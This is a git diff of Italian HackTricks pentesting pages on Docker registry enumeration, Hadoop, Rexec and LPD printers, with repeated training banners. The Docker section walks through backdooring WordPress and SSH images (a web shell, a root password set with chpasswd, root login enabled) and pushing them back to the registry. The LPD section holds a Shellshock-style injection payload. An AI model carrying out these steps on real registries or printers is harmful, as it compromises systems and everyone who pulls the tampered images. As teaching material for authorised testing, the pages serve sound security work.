**Se trovi credenziali valide, dovrai usarle** per enumerare il registry, in `curl` puoi usarle in questo modo:
|
||||||
**Se trovi credenziali valide, dovrai utilizzarle** per enumerare il registro, in `curl` puoi usarle in questo modo:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
||||||
```
|
```
|
||||||
|
|
||||||
### Enumerazione usando DockerRegistryGrabber
|
### Enumerazione usando DockerRegistryGrabber
|
||||||
|
|
||||||
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) è uno strumento python per enumerare / dumpare il registro Docker (senza o con autenticazione di base)
|
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) è uno strumento python per enumerare / scaricare il registro docker (senza o con autenticazione di base)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
|
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
|
||||||
|
|
||||||
|
@ -163,11 +151,9 @@ python3 DockerGraber.py http://127.0.0.1 --dump_all
|
||||||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||||||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||||||
```
|
```
|
||||||
|
### Enumeration using curl
|
||||||
|
|
||||||
### Enumerazione usando curl
|
Una volta che **hai ottenuto accesso al docker registry**, ecco alcuni comandi che puoi utilizzare per enumerarlo:
|
||||||
|
|
||||||
Una volta **ottenuto l'accesso al registro docker**, ecco alcuni comandi che puoi utilizzare per enumerarlo:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#List repositories
|
#List repositories
|
||||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||||
|
@ -230,13 +216,11 @@ curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fa
|
||||||
#Inspect the insides of each blob
|
#Inspect the insides of each blob
|
||||||
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
|
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
|
||||||
```
|
```
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Nota che quando scarichi e decomprimi i file blob, compariranno file e cartelle nella directory corrente. **Se scarichi tutti i blob e li decomprimi nella stessa cartella sovrascriveranno i valori dei blob decompressi precedentemente**, quindi fai attenzione. Potrebbe essere interessante decomprimere ogni blob all'interno di una cartella diversa per ispezionare il contenuto esatto di ciascun blob.
|
Nota che quando scarichi e decomprimi i file e le cartelle dei blobs appariranno nella directory corrente. **Se scarichi tutti i blobs e li decomprimi nella stessa cartella, sovrascriveranno i valori dei blobs precedentemente decompressi**, quindi fai attenzione. Potrebbe essere interessante decomprimere ogni blob all'interno di una cartella diversa per ispezionare il contenuto esatto di ogni blob.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Enumerazione usando docker
|
### Enumerazione utilizzando docker
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#Once you know which images the server is saving (/v2/_catalog) you can pull them
|
#Once you know which images the server is saving (/v2/_catalog) you can pull them
|
||||||
docker pull 10.10.10.10:5000/ubuntu
|
docker pull 10.10.10.10:5000/ubuntu
|
||||||
|
@ -255,10 +239,9 @@ docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
|
||||||
docker ps #Using a different shell
|
docker ps #Using a different shell
|
||||||
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
||||||
```
|
```
|
||||||
|
### Backdooring WordPress image
|
||||||
|
|
||||||
### Creazione di un backdoor nell'immagine di WordPress
|
Nello scenario in cui hai trovato un Docker Registry che salva un'immagine di wordpress, puoi inserire un backdoor.\
|
||||||
|
|
||||||
Nel caso in cui tu abbia trovato un Docker Registry che salva un'immagine di WordPress, puoi inserire un backdoor.\
|
|
||||||
**Crea** il **backdoor**:
|
**Crea** il **backdoor**:
|
||||||
|
|
||||||
{% code title="shell.php" %}
|
{% code title="shell.php" %}
|
||||||
|
@ -277,49 +260,60 @@ RUN chmod 777 /app/shell.php
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
**Creare** la nuova immagine, **verificare** che sia stata creata e **pusharla**:
|
**Crea** la nuova immagine, **controlla** che sia stata creata e **invia**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker build -t 10.10.10.10:5000/wordpress .
|
docker build -t 10.10.10.10:5000/wordpress .
|
||||||
#Create
|
#Create
|
||||||
docker images
|
docker images
|
||||||
docker push registry:5000/wordpress #Push it
|
docker push registry:5000/wordpress #Push it
|
||||||
```
|
```
|
||||||
|
### Backdooring SSH server image
|
||||||
|
|
||||||
### Installazione di un backdoor nell'immagine del server SSH
|
Supponiamo che tu abbia trovato un Docker Registry con un'immagine SSH e desideri backdoorarla.\
|
||||||
|
**Scarica** l'immagine e **eseguila**:
|
||||||
Supponiamo di aver trovato un Registro Docker con un'immagine SSH e si desidera installarvi un backdoor.\
|
|
||||||
**Scaricare** l'immagine e **eseguirla**:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker pull 10.10.10.10:5000/sshd-docker-cli
|
docker pull 10.10.10.10:5000/sshd-docker-cli
|
||||||
docker run -d 10.10.10.10:5000/sshd-docker-cli
|
docker run -d 10.10.10.10:5000/sshd-docker-cli
|
||||||
```
|
```
|
||||||
|
|
||||||
Estrai il file `sshd_config` dall'immagine SSH:
|
Estrai il file `sshd_config` dall'immagine SSH:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker cp 4c989242c714:/etc/ssh/sshd_config .
|
docker cp 4c989242c714:/etc/ssh/sshd_config .
|
||||||
```
|
```
|
||||||
|
E modificalo per impostare: `PermitRootLogin yes`
|
||||||
|
|
||||||
E modificarlo per impostare: `PermitRootLogin yes`
|
Crea un **Dockerfile** simile al seguente:
|
||||||
|
|
||||||
Crea un **Dockerfile** come il seguente:
|
{% tabs %}
|
||||||
|
{% tab title="Dockerfile" %}
|
||||||
|
```bash
|
||||||
|
FROM 10.10.10.10:5000/sshd-docker-cli
|
||||||
|
COPY sshd_config /etc/ssh/
|
||||||
|
RUN echo root:password | chpasswd
|
||||||
|
```
|
||||||
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
|
||||||
|
**Crea** la nuova immagine, **controlla** che sia stata creata e **invia**:
|
||||||
|
```bash
|
||||||
|
docker build -t 10.10.10.10:5000/sshd-docker-cli .
|
||||||
|
#Create
|
||||||
|
docker images
|
||||||
|
docker push registry:5000/sshd-docker-cli #Push it
|
||||||
|
```
|
||||||
|
## Riferimenti
|
||||||
|
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
\`\`\`bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd\_config /etc/ssh/ RUN echo root:password | chpasswd \`\`\` \*\*Creare\*\* la nuova immagine, \*\*verificare\*\* che sia stata creata e \*\*pusharla\*\*: \`\`\`bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it \`\`\` ## Riferimenti \* \[https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/]\(https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,23 +1,24 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) di GitHub.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# **Informazioni di base**
|
# **Informazioni di base**
|
||||||
|
|
||||||
**Apache Hadoop** è un **framework open-source** per lo **storage distribuito e l'elaborazione** di **grandi dataset** su **cluster di computer**. Utilizza **HDFS** per lo storage e **MapReduce** per l'elaborazione.
|
**Apache Hadoop** è un **framework open-source** per **l'archiviazione e l'elaborazione distribuita** di **grandi set di dati** su **cluster di computer**. Utilizza **HDFS** per l'archiviazione e **MapReduce** per l'elaborazione.
|
||||||
|
|
||||||
Sfortunatamente, Hadoop non ha supporto nel framework Metasploit al momento della documentazione. Tuttavia, è possibile utilizzare i seguenti **script Nmap** per enumerare i servizi Hadoop:
|
Sfortunatamente, Hadoop manca di supporto nel framework Metasploit al momento della documentazione. Tuttavia, puoi utilizzare i seguenti **script Nmap** per enumerare i servizi Hadoop:
|
||||||
|
|
||||||
- **`hadoop-jobtracker-info (Port 50030)`**
|
- **`hadoop-jobtracker-info (Port 50030)`**
|
||||||
- **`hadoop-tasktracker-info (Port 50060)`**
|
- **`hadoop-tasktracker-info (Port 50060)`**
|
||||||
|
@ -25,19 +26,19 @@ Sfortunatamente, Hadoop non ha supporto nel framework Metasploit al momento dell
|
||||||
- **`hadoop-datanode-info (Port 50075)`**
|
- **`hadoop-datanode-info (Port 50075)`**
|
||||||
- **`hadoop-secondary-namenode-info (Port 50090)`**
|
- **`hadoop-secondary-namenode-info (Port 50090)`**
|
||||||
|
|
||||||
|
È fondamentale notare che **Hadoop opera senza autenticazione nella sua configurazione predefinita**. Tuttavia, per una maggiore sicurezza, sono disponibili configurazioni per integrare Kerberos con HDFS, YARN e i servizi MapReduce.
|
||||||
|
|
||||||
È fondamentale notare che **Hadoop funziona senza autenticazione nella sua configurazione predefinita**. Tuttavia, per una maggiore sicurezza, sono disponibili configurazioni per integrare Kerberos con i servizi HDFS, YARN e MapReduce.
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) di GitHub.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,22 +1,23 @@
|
||||||
# 512 - Pentesting Rexec
|
# 512 - Pentesting Rexec
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a ero con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## Informazioni di base
|
## Informazioni di base
|
||||||
|
|
||||||
È un servizio che **ti permette di eseguire un comando all'interno di un host** se conosci delle **credenziali valide** (nome utente e password).
|
È un servizio che **ti consente di eseguire un comando all'interno di un host** se conosci **credenziali** valide (nome utente e password).
|
||||||
|
|
||||||
**Porta predefinita:** 512
|
**Porta predefinita:** 512
|
||||||
```
|
```
|
||||||
|
@ -25,16 +26,17 @@ PORT STATE SERVICE
|
||||||
```
|
```
|
||||||
### [**Brute-force**](../generic-methodologies-and-resources/brute-force.md#rexec)
|
### [**Brute-force**](../generic-methodologies-and-resources/brute-force.md#rexec)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,24 +1,25 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
### **Introduzione al protocollo LPD**
|
### **Introduzione al Protocollo LPD**
|
||||||
|
|
||||||
Negli anni '80, il protocollo **Line Printer Daemon (LPD)** è stato sviluppato in Berkeley Unix, che in seguito è stato formalizzato tramite RFC1179. Questo protocollo opera sulla porta 515/tcp, consentendo interazioni tramite il comando `lpr`. L'essenza della stampa tramite LPD consiste nell'invio di un **file di controllo** (per specificare i dettagli del lavoro e dell'utente) insieme a un **file di dati** (che contiene le informazioni di stampa). Mentre il file di controllo consente la selezione di **vari formati di file** per il file di dati, la gestione di questi file è determinata dall'implementazione specifica di LPD. Un'implementazione ampiamente riconosciuta per i sistemi simili a Unix è **LPRng**. In particolare, il protocollo LPD può essere sfruttato per eseguire **lavori di stampa PostScript** o **PJL maligni**.
|
Negli anni '80, il **protocollo Line Printer Daemon (LPD)** è stato sviluppato in Berkeley Unix, che in seguito è stato formalizzato attraverso RFC1179. Questo protocollo opera sulla porta 515/tcp, consentendo interazioni tramite il comando `lpr`. L'essenza della stampa tramite LPD implica l'invio di un **file di controllo** (per specificare i dettagli del lavoro e dell'utente) insieme a un **file di dati** (che contiene le informazioni di stampa). Mentre il file di controllo consente la selezione di **vari formati di file** per il file di dati, la gestione di questi file è determinata dall'implementazione specifica di LPD. Un'implementazione ampiamente riconosciuta per sistemi simili a Unix è **LPRng**. È importante notare che il protocollo LPD può essere sfruttato per eseguire **PostScript malevoli** o **lavori di stampa PJL**.
|
||||||
|
|
||||||
### **Strumenti per interagire con le stampanti LPD**
|
### **Strumenti per Interagire con le Stampanti LPD**
|
||||||
|
|
||||||
[**PRET**](https://github.com/RUB-NDS/PRET) introduce due strumenti essenziali, `lpdprint` e `lpdtest`, che offrono un metodo semplice per interagire con le stampanti compatibili con LPD. Questi strumenti consentono una serie di azioni, dalla stampa dei dati alla manipolazione dei file sulla stampante, come il download, l'upload o l'eliminazione:
|
[**PRET**](https://github.com/RUB-NDS/PRET) introduce due strumenti essenziali, `lpdprint` e `lpdtest`, che offrono un metodo semplice per interagire con le stampanti compatibili LPD. Questi strumenti consentono una serie di azioni, dalla stampa di dati alla manipolazione di file sulla stampante, come il download, l'upload o la cancellazione:
|
||||||
```python
|
```python
|
||||||
# To print a file to an LPD printer
|
# To print a file to an LPD printer
|
||||||
lpdprint.py hostname filename
|
lpdprint.py hostname filename
|
||||||
|
@ -33,23 +34,24 @@ lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
|
||||||
# To send a mail through the printer
|
# To send a mail through the printer
|
||||||
lpdtest.py hostname mail lpdtest@mailhost.local
|
lpdtest.py hostname mail lpdtest@mailhost.local
|
||||||
```
|
```
|
||||||
Per coloro interessati ad esplorare ulteriormente il mondo dell'**hacking delle stampanti**, è possibile trovare una risorsa completa qui: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
Per gli individui interessati ad esplorare ulteriormente il regno del **printer hacking**, una risorsa completa può essere trovata qui: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||||
|
|
||||||
# Shodan
|
# Shodan
|
||||||
|
|
||||||
* `porta 515`
|
* `port 515`
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
